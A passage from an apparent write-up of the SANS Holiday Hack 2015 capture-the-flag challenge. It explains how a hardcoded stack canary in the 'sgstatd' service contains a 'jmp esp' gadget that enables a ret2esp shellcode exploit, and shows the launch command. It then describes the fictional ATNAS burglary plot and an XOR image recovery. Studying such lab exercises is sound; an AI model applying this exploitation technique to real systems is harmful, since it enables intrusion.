We’re lucky, we have found one option! to summarize, the compiler will not generate a jump to ESP instruction, but using a technique called “byte shifting”, we can just shift a couple of bytes to create the needed instruction. Let’s check this in gdb, “x/2i 0x804936b”:

"0x804936b <sgstatd+14>: jmp    *%esp"

Let’s update the python script… wait, there is no need, the script takes the return address as a parameter, and the shellcode is just after the return address, where the ESP register will point after sgstatd epilogue: “python send_rb_shellcode.py 0x0804936b 0x0804936b”. This time it worked!

Looking closely at the assembly code exposes the problem, the canary value is “0xe4ffffe4”, which is exactly the value needed to use ret2esp. The address 0x804936b is part of the sgstatd function: 

“0x08049366 <+9>: movl   $0xe4ffffe4,-0x4(%ebp)”

In this case, the use of this canary value instead of using  the stack-protector option in gcc was even worst, because it created another vulnerability. 

The scripts used can be found here: https://github.com/skysec/SANSHolidayHack2015/tree/master/part04/sg-05/scripts, and the files are:

  • 20151215161015.zip
  • factory_cam_5.zip 
  • gnome.conf 
  • gnome_firmware_rel_notes.txt 
  • sgnet.zip 
  • sniffer_hit_list.txt

Gnome Serial Number: 4CKL3R43V4 

Part 5: Baby, It’s Gnome Outside: Sinister Plot and Attribution.

9) Based on evidence you recover from the SuperGnome’ packet capture ZIP files and any staticky images you find, what is the nefarious plot of ATNAS Corporation?

The plot is simple, deploy over 2 millions gnomes around the globe, controlled by 5 SuperGnomes, take pictures of different parts of the house, and then on December 24th, send burglars to steal items from those houses. The gnome hardware is composed by:


+ Ambarella S2Lm IP Camera Processor System-on-Chip (with an ARM Cortex A9
CPU and Linux SDK)

+ ON Semiconductor AR0330: 3 MP 1/3" CMOS Digital Image Sensor

+ Atheros AR6233X Wi-Fi adapter

+ Texas Instruments TPS65053 switching power supply

+ Samsung K4B2G16460 2GB SSDR3 SDRAM
+ Samsung K9F1G08U0D 1GB NAND Flash

As described in an email between “CW” (ATNAS Corp) and an electronic supplier.

With all those gnomes deployed globally, on the morning of December 24th, an email will be sent to a list of burglars, detailing an itinerary of specific houses and an inventory of items to steal from each house, including a set of photos of where are the items located. This will be performed the night of December 24th, 2015 after dark. In case they get caught by a children, the burglars must say that they are "Santy Claus”. The sale will be 50-50 with each burglar. The name ATNAS is the reverse of SANTA, instead of bringing presents, they will steal!.

The evidence is based on the following communications:

- Email between “c@atnascorp.com” and “ jojo@atnascorp.com”. Joji is in charge of creating the Gnome Architecture. The email includes the following image: 



depicting the architecture.

- Email between “c@atnascorp.com” and “supplier@ginormouselectronicssupplier.com”. In this email,  CW asks this supplier for all the hardware pieces needed to build the gnomes.

- Email between “c@atnascorp.com” and “ burglerlackeys@atnascorp.com”. In this email, CW tells the burglars the instructions for December 24th, and how to proceed in case they are discovered by a children.

All the above email were extracted from the PCAP files found in the SuperGnomes 01 - 03. Showing a SMTP communication using the TCP port 2525 (different from the standard port: 25).

10) Who is the villain behind the nefarious plot.

The villain is:  Cindy Lou Who, the girl from “How the Grinch Stole Christmas” (Dr. Seuss), that found the Grinch stealing all the Christmas presents in her home. She was affected by this act, and vowed to finish what the Grinch had started. 

Evidence:

- Email between “c@atnascorp.com” and “ psychdoctor@whovillepsychiatrists.com”, describing to the Doctor her anxiety about the holiday season, and signing the email with: “Cindy Lou Who”.
- POP3 session recovering an email from the Grinch (“grinch@who-villeisp.com") to “c@atnascorp.com”: In this email, the Grinch writes to apologize for what he did to Cindy. 
- Image recovered after processing the 5 images found in the SuperGnomes and the “camera_feed_overlap_error.png”. Based on the messages found in the GnomeNet, where they were talking about a technical issue with the cameras, indicating a potential pixel xored issue with images with the same name. Using a python script https://github.com/skysec/SANSHolidayHack2015/tree/master/part05/scripts with the opencv library, the final image was recovered, showing an older Cindy Liu (now 62 years old):




In order to recover the image, a bitwise xor was performed between all images and the camera_feed_overlap_error.png image.